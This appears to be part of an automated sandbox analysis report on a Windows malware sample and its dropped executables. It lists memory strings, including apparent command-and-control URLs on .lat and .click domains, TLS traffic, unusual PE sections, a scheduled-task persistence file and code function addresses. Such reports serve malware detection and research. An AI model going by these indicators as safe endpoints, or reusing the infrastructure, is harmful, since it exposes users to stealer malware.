Source: AWrVzd6XpC.exe, AWrVzd6XpC.exe, 00000000.00000003.1832522156.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1827868227.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1836312531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830842138.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834366630.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1831567671.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835201454.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834620512.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834122320.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830212681.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1992298031.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1829521154.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1828173832.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1992298031.0000000000CE7000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830344837.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1832350531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1836690020.0000000000CD7000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1831976810.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1828033872.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835695200.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/
Source: AWrVzd6XpC.exe, 00000000.00000003.1878028096.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1859323658.0000000000CDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/&d
Source: AWrVzd6XpC.exe, 00000000.00000003.1878028096.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/-d
Source: AWrVzd6XpC.exe, 00000000.00000003.1918913464.0000000000C75000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1860053555.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api
Source: AWrVzd6XpC.exe, 00000000.00000003.1780052201.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiN
Source: AWrVzd6XpC.exe, 00000000.00000003.1878028096.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/rd(Fy
Source: AWrVzd6XpC.exe, 00000000.00000003.1859323658.0000000000CDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/yd3Fx
Source: AWrVzd6XpC.exe, AWrVzd6XpC.exe, 00000000.00000003.1829378955.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1833971224.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835201454.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835695200.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1836406182.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830574619.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1831383332.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1831976810.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1832350531.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1836312531.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834366630.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835906268.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830465001.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1827517066.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834865370.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834122320.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834620512.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835443939.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1827868227.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830842138.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api
Source: AWrVzd6XpC.exe, 00000000.00000003.1859910387.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api(
Source: AWrVzd6XpC.exe, 00000000.00000003.1878335432.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1919015151.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1918754542.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api..
Source: AWrVzd6XpC.exe, 00000000.00000003.1780052201.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/apibTx
Source: FIECFBAAAFHIIDGCGCBF.5.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: https://mozilla.org0/
Source: 8c6b987a2c.exe, 00000012.00000002.2951627385.0000000001543000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000002.2951627385.00000000014EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/
Source: 8c6b987a2c.exe, 00000012.00000002.2951627385.0000000001543000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000002.2951627385.00000000014D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api
Source: 8c6b987a2c.exe, 00000012.00000002.2951627385.0000000001543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/pi~
Source: 8c6b987a2c.exe, 00000012.00000002.2951627385.0000000001543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/api
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: AWrVzd6XpC.exe, 00000000.00000003.1757069324.00000000055F1000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2927554859.0000000003C75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000003.2404024605.000000000C03C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AWrVzd6XpC.exe, 00000000.00000003.1804017127.00000000056BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000003.2404024605.000000000C03C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: AWrVzd6XpC.exe, 00000000.00000003.1779952047.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1757069324.00000000055F1000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1779803626.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1757150147.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1780122143.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B64000.00000040.00000001.01000000.00000009.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000003.2262592384.0000000005CAD000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000002.2955157000.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2927803313.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2927554859.0000000003C73000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2928037111.0000000003C27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: AWrVzd6XpC.exe, 00000000.00000003.1757150147.00000000055C5000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2927803313.0000000003C02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: AWrVzd6XpC.exe, 00000000.00000003.1779952047.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1757069324.00000000055F1000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1779803626.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1757150147.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1780122143.00000000055EA000.00000004.00000800.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000B64000.00000040.00000001.01000000.00000009.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000003.2262592384.0000000005CAD000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000002.2955157000.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2927803313.0000000003C27000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2927554859.0000000003C73000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2928037111.0000000003C27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: AWrVzd6XpC.exe, 00000000.00000003.1757150147.00000000055C5000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2927803313.0000000003C02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 59bcbe04f3.exe, 00000013.00000002.2953798194.00000000014E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/T
Source: 59bcbe04f3.exe, 00000013.00000002.2953798194.000000000149E000.00000004.00000020.00020000.00000000.sdmp, 59bcbe04f3.exe, 00000013.00000002.2953798194.00000000014FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api
Source: 59bcbe04f3.exe, 00000013.00000002.2953798194.00000000014E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click:443/api
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2534290002.000000000BDE2000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.5.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2534290002.000000000BDE2000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.5.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000C47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000003.2404024605.000000000C03C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000C47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000C47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000003.2404024605.000000000C03C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000C47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: AWrVzd6XpC.exe, 00000000.00000003.1804017127.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000003.2404024605.000000000C03C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000C47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000C47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: AWrVzd6XpC.exe, 00000000.00000003.1804017127.00000000056BC000.00000004.00000800.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000003.2404024605.000000000C03C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000C47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.4:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.4:49929 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: AWrVzd6XpC.exe	Static PE information: section name:
Source: AWrVzd6XpC.exe	Static PE information: section name: .idata
Source: AWrVzd6XpC.exe	Static PE information: section name:
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe.0.dr	Static PE information: section name:
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe.0.dr	Static PE information: section name: .idata
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe.0.dr	Static PE information: section name:
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe.0.dr	Static PE information: section name:
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: GCBKECAKFB.exe.5.dr	Static PE information: section name:
Source: GCBKECAKFB.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.12.dr	Static PE information: section name:
Source: skotes.exe.12.dr	Static PE information: section name: .idata
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: random[1].exe0.15.dr	Static PE information: section name: .idata
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: 59bcbe04f3.exe.15.dr	Static PE information: section name:
Source: 59bcbe04f3.exe.15.dr	Static PE information: section name: .idata
Source: 59bcbe04f3.exe.15.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Code function: 5_2_6C5D62C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,

5_2_6C5D62C0

Source: C:\Users\user\Documents\GCBKECAKFB.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C7EDD0	0_3_00C7EDD0
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C7EDD0	0_3_00C7EDD0
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C7EDD0	0_3_00C7EDD0
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88807	0_3_00C88807
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88807	0_3_00C88807
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88807	0_3_00C88807
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C7EDD0	0_3_00C7EDD0
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C7EDD0	0_3_00C7EDD0
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C7EDD0	0_3_00C7EDD0
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88807	0_3_00C88807
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88807	0_3_00C88807
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88807	0_3_00C88807
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C7EDD0	0_3_00C7EDD0
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C7EDD0	0_3_00C7EDD0
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C7EDD0	0_3_00C7EDD0
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88807	0_3_00C88807
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88807	0_3_00C88807
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88807	0_3_00C88807
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C45AC60	5_2_6C45AC60
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C516C00	5_2_6C516C00
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C52AC30	5_2_6C52AC30
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C44ECC0	5_2_6C44ECC0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4AECD0	5_2_6C4AECD0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C57AD50	5_2_6C57AD50
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C51ED70	5_2_6C51ED70
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5D8D20	5_2_6C5D8D20
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5DCDC0	5_2_6C5DCDC0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4E6D90	5_2_6C4E6D90
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C454DB0	5_2_6C454DB0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4EEE70	5_2_6C4EEE70
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C530E20	5_2_6C530E20
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C45AEC0	5_2_6C45AEC0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4F0EC0	5_2_6C4F0EC0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4D6E90	5_2_6C4D6E90
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4BEF40	5_2_6C4BEF40
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C512F70	5_2_6C512F70
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C456F10	5_2_6C456F10
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C590F20	5_2_6C590F20
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C52EFF0	5_2_6C52EFF0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C450FE0	5_2_6C450FE0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C598FB0	5_2_6C598FB0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C45EFB0	5_2_6C45EFB0
